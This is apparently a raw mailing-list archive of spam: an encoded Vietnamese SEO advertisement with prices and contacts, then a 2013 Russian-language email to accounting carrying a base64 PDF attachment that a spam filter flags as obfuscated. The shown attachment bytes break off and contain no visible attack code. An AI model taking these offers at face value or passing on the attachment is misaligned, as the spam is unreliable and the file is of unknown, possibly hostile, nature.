eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4xNSANCgkJ CQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMDYiIHZh bGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NzkuNnB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVm dDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXIt cmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4g NS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJN c29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUt aGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVz IE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjIyLDAwMCwwMDA8L2ZvbnQ+PC9zcGFu PjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRo OjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90 dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQg MS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJn Y29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQi PjE4IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCTwvdHI+DQoJCQkJ PHRyIHN0eWxlPSJoZWlnaHQ6IDIzLjlwdCI+DQoJCQkJCTx0ZCB3aWR0aD0iNjMiIHZhbGlnbj0i dG9wIiBzdHlsZT0id2lkdGg6NDYuOXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0K ICAgIGJvcmRlci10b3A6bm9uZTtwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIz LjlwdCIgYmdjb2xvcj0iI0ZGRkZGRiI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWdu PSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwi Pg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJ CQkJCTxmb250IHNpemU9IjQiPjEwPC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdp ZHRoPSIxMTMiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6ODQuNTVwdDtib3JkZXItdG9wOm5v bmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQg MS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzow aW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy45cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJ CQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjog Y2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZvbnQt ZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij45LDAwMCwwMDA8 L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxpZ249InRvcCIg c3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9u ZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlk IHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdo dDoyMy45cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBh bGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9y bWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxm b250IHNpemU9IjQiPjIwIA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJ CQk8dGQgd2lkdGg9IjExNCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NS4yNXB0O2JvcmRl ci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2lu ZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjlwdCIgYmdjb2xvcj0iI0ZGQ0ND QyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0 LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHls ZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjIw LDAwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxp Z249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6 DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJp Z2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUu NHB0O2hlaWdodDoyMy45cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNv Tm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhl aWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcg Um9tYW4iPjxmb250IHNpemU9IjQiPjI1IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48 L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjEwNiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo3OS42 cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpz b2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0 Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuOXB0IiBiZ2NvbG9y PSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5 bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6 ZT0iNCI+MzUsMDAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0i NzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRlci10b3A6bm9uZTtib3Jk ZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDti b3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRw dCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjlwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNs YXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7 IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRp bWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+MzAgDQoJCQkJCXR1JiM3ODQ3O248L2ZvbnQ+ PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMTEuNjVwdCI+ DQoJCQkJCTx0ZCB3aWR0aD0iNjA1IiBjb2xzcGFuPSI3IiB2YWxpZ249InRvcCIgc3R5bGU9Indp ZHRoOjQ1My41NXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIGJvcmRlci10 b3A6bm9uZTtwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29s b3I9IiNGRkZGRkYiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBz dHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBz aXplPSI0Ij5QaO0gZHV5IHRy7CAxMCU8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCTwvdHI+ DQoJCQkJPHRyIHN0eWxlPSJoZWlnaHQ6IDY5Ljk1cHQiPg0KCQkJCQk8dGQgd2lkdGg9IjYwNSIg Y29sc3Bhbj0iNyIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo0NTMuNTVwdDtib3JkZXI6c29s aWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBib3JkZXItdG9wOm5vbmU7cGFkZGluZzowaW4gNS40 cHQgMGluIDUuNHB0O2hlaWdodDo2OS45NXB0IiBiZ2NvbG9yPSIjQzBDMEMwIj4NCgkJCQkJPHAg Y2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRl cjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWls eTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiM4QjAwMDAi PlYmIzc4OTk7aSBoJiM3OTA3O3AgJiMyNzM7JiM3ODkxO25nIFNFTyB0cupuIDEwLDAwMCwwMDAg a2jhY2ggaOBuZyANCgkJCQkJJiMyNzM7JiM0MzI7JiM3OTA3O2MgZ2kmIzc4NDM7bSAxNSUgdCYj Nzg5MztuZyBjaGkgcGjtIFNFTzxicj4NCgkJCQkJS2hpIGto4WNoIGjgbmcgbiYjNzg5NztwIHBo 7SBkdXkgdHLsIHRyb25nIHbybmcgNiB0aOFuZyAmIzI3MzsmIzQzMjsmIzc5MDc7YyBnaSYjNzg0 MzttIA0KCQkJCQk3JSh0JiM3ODkzO25nIHBo7SBkdXkgdHLsIDYgdGjhbmcpIGhvJiM3ODYzO2Mg dCYjNzg2MztuZyB0aOptIDEgdGjhbmcgDQoJCQkJCVNFTzxicj4NCgkJCQkJS2hpIGto4WNoIGjg bmcgbiYjNzg5NztwIHBo7SBkdXkgdHLsIHRyb25nIHbybmcgMTIgdGjhbmcgJiMyNzM7JiM0MzI7 JiM3OTA3O2MgZ2kmIzc4NDM7bSANCgkJCQkJMTUlKCB0JiM3ODkzO25nIHBo7SBkdXkgdHLsIDEy IHRo4W5nKSBobyYjNzg2MztjIHQmIzc4NjM7bmcgdGjqbSAyIHRo4W5nIA0KCQkJCQlTRU88L2Zv bnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCTwvdHI+DQoJCQk8L3RhYmxlPg0KCQk8L2Rpdj4NCgkJ PC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjxoMz48c3Ryb25nPkdpJiM3ODQzO20gR2kmYWFjdXRl OyAzMCUgU0VPIFRvcCBHb29nbGUgQ2hvIE5oJiM3OTE5O25nIEtoJmFhY3V0ZTtjaCBIJmFncmF2 ZTtuZyBMJmFncmF2ZTttIFdlYnNpdGUgYiZlY2lyYztuIGMmb2NpcmM7bmcgdHkgbSZpZ3JhdmU7 bmg8L3N0cm9uZz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQiPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7IGZvbnQtc2l6ZToxNHB0Ij48c3BhbiBzdHlsZT0iZm9udC1zaXpl OiAxNHB0Ij48Zm9udCBzaXplPSI0Ij48Zm9udCBjb2xvcj0iIzgwMDA4MCI+PGJyPg0KICA8L2Zv bnQ+DQogIDxicj4NCiAgPGZvbnQgY29sb3I9IiMwMEZGMDAiPi0tLS0tLS0tLU0mIzc4ODU7aSBj aGkgdGkmIzc4NzE7dCBsaepuIGgmIzc4Nzk7LS0tLS0tLS0tLS08L2ZvbnQ+PC9mb250Pjwvc3Bh bj48L3NwYW4+PC9zcGFuPjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSI0IiBjb2xvcj0iIzAwRkYw MCI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkIj48YnI+DQogICZuYnNwOzwvc3Bhbj48 L2ZvbnQ+PC9oMz4NCjxwPjxzdHJvbmc+PGZvbnQgc2l6ZT0iNCIgZmFjZT0iQXJpYWwiPkPUTkcg VFkgQ1AgR0kmIzc4NDI7SSBQSMFQIFMmIzc4ODg7IEjAIE4mIzc4OTY7SSBWTkVUPC9mb250Pjwv c3Ryb25nPjwvcD4NCjxwPjxiPjxmb250IHNpemU9IjQiIGZhY2U9IkFyaWFsIj5TJiM3ODg5OyZu YnNwOyA3IC0gTmf1IDYxLzYgLSBQaCYjNzg0MTttIFR1JiM3ODQ1O24gVOBpIC0gQyYjNzg0Nzt1 IEdpJiM3ODQ1O3k8L2ZvbnQ+PC9iPjwvcD4NCjxwPjxmb250IGZhY2U9IkFyaWFsIj48c3BhbiBz dHlsZT0iZm9udC13ZWlnaHQ6IDcwMCI+PGZvbnQgc2l6ZT0iNCI+SG90bGluZTogDQo8Zm9udCBj b2xvcj0iI0ZGMDAwMCI+MDE2NzcuMjQ3LjU0NzwvZm9udD48L2ZvbnQ+PC9zcGFuPjwvZm9udD48 L3A+DQo8cD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQiPjxmb250IHNpemU9IjQiIGZh Y2U9IkFyaWFsIj5FbWFpbDogbGluaDkyY0BnbWFpbC5jb208L2ZvbnQ+PC9zcGFuPjwvcD4NCjxw Pjxmb250IHNpemU9IjQiIGZhY2U9IkFyaWFsIj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcw MCI+WWFob286IGxpbmh2bmV0QHlhaG9vLmNvbQ0KPC9zcGFuPjwvZm9udD48L3A+DQoNCg== --7376DDFEA5F58E2D1DDBD0553763F53E-- From pottons@mail.eng.it Thu Dec 5 20:15:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A66B87F50 for ; Thu, 5 Dec 2013 20:15:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8987A30408A for ; Thu, 5 Dec 2013 18:14:59 -0800 (PST) X-ASG-Debug-ID: 1386296094-04cbb0416756b170001-NocioJ Received: from msk-cx.193.komtet.ru (msk-cx.193.komtet.ru [62.213.64.175]) by cuda.sgi.com with ESMTP id cxbhWNC5wWKbYyM3 for ; Thu, 05 Dec 2013 18:14:56 -0800 (PST) X-Barracuda-Envelope-From: pottons@mail.eng.it X-Barracuda-Apparent-Source-IP: 62.213.64.175 Received: from Unknown (unknown [201.216.131.135]) by msk-c15.193.komtet.ru (Postfix) with ESMTPA id 21C64822033; Fri, 6 Dec 2013 06:14:45 +0400 (MSK) Message-ID: <8CED677865FE450F96286F01926F18CC@ngrppif> Reply-To: =?windows-1251?B?wsDL3tLN28kgys7N0tDOy9w=?= From: =?windows-1251?B?wsDL3tLN28kgys7N0tDOy9w=?= To: , , , , Subject: =?windows-1251?B?wiDh8/Xj4Ovy5fDo/g==?= Date: Fri, 6 Dec 2013 03:15:27 +0100 X-ASG-Orig-Subj: =?windows-1251?B?wiDh8/Xj4Ovy5fDo/g==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0B9A_01CEF231.694211E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: msk-cx.193.komtet.ru[62.213.64.175] X-Barracuda-Start-Time: 1386296095 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142877 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0B9A_01CEF231.694211E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0B9B_01CEF231.694211E0" ------=_NextPart_001_0B9B_01CEF231.694211E0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CE=EF=E5=F0=E0=F6=E8=E8 =EF=EE =F1=F7=E5=F2=E0=EC ------=_NextPart_001_0B9B_01CEF231.694211E0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CE=EF=E5=F0=E0=F6=E8=E8 =EF=EE =F1=F7=E5=F2=E0=EC
------=_NextPart_001_0B9B_01CEF231.694211E0-- ------=_NextPart_000_0B9A_01CEF231.694211E0 Content-Type: application/octet-stream; name="=?windows-1251?B?wsDL3tLN28kgys7N0tDOy9wucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wsDL3tLN28kgys7N0tDOy9wucGRm?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCA2NzQvSGVpZ2h0IDEwNjYvRmlsdGVyL0RDVERlY29kZS9Db2xvclNwYWNlWy9J Q0NCYXNlZCAxIDAgUl0vQml0c1BlckNvbXBvbmVudCA4L0xlbmd0aCAxNDA0NTQ+PnN0cmVhbQr/ 2P/gABBKRklGAAEBAQBgAGAAAP/hENBFeGlmAABNTQAqAAAACAAEATsAAgAAAANocAAAh2kABAAA AAEAAAhKnJ0AAQAAAAYAABDC6hwABwAACAwAAAA+AAAAABzqAAAACAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 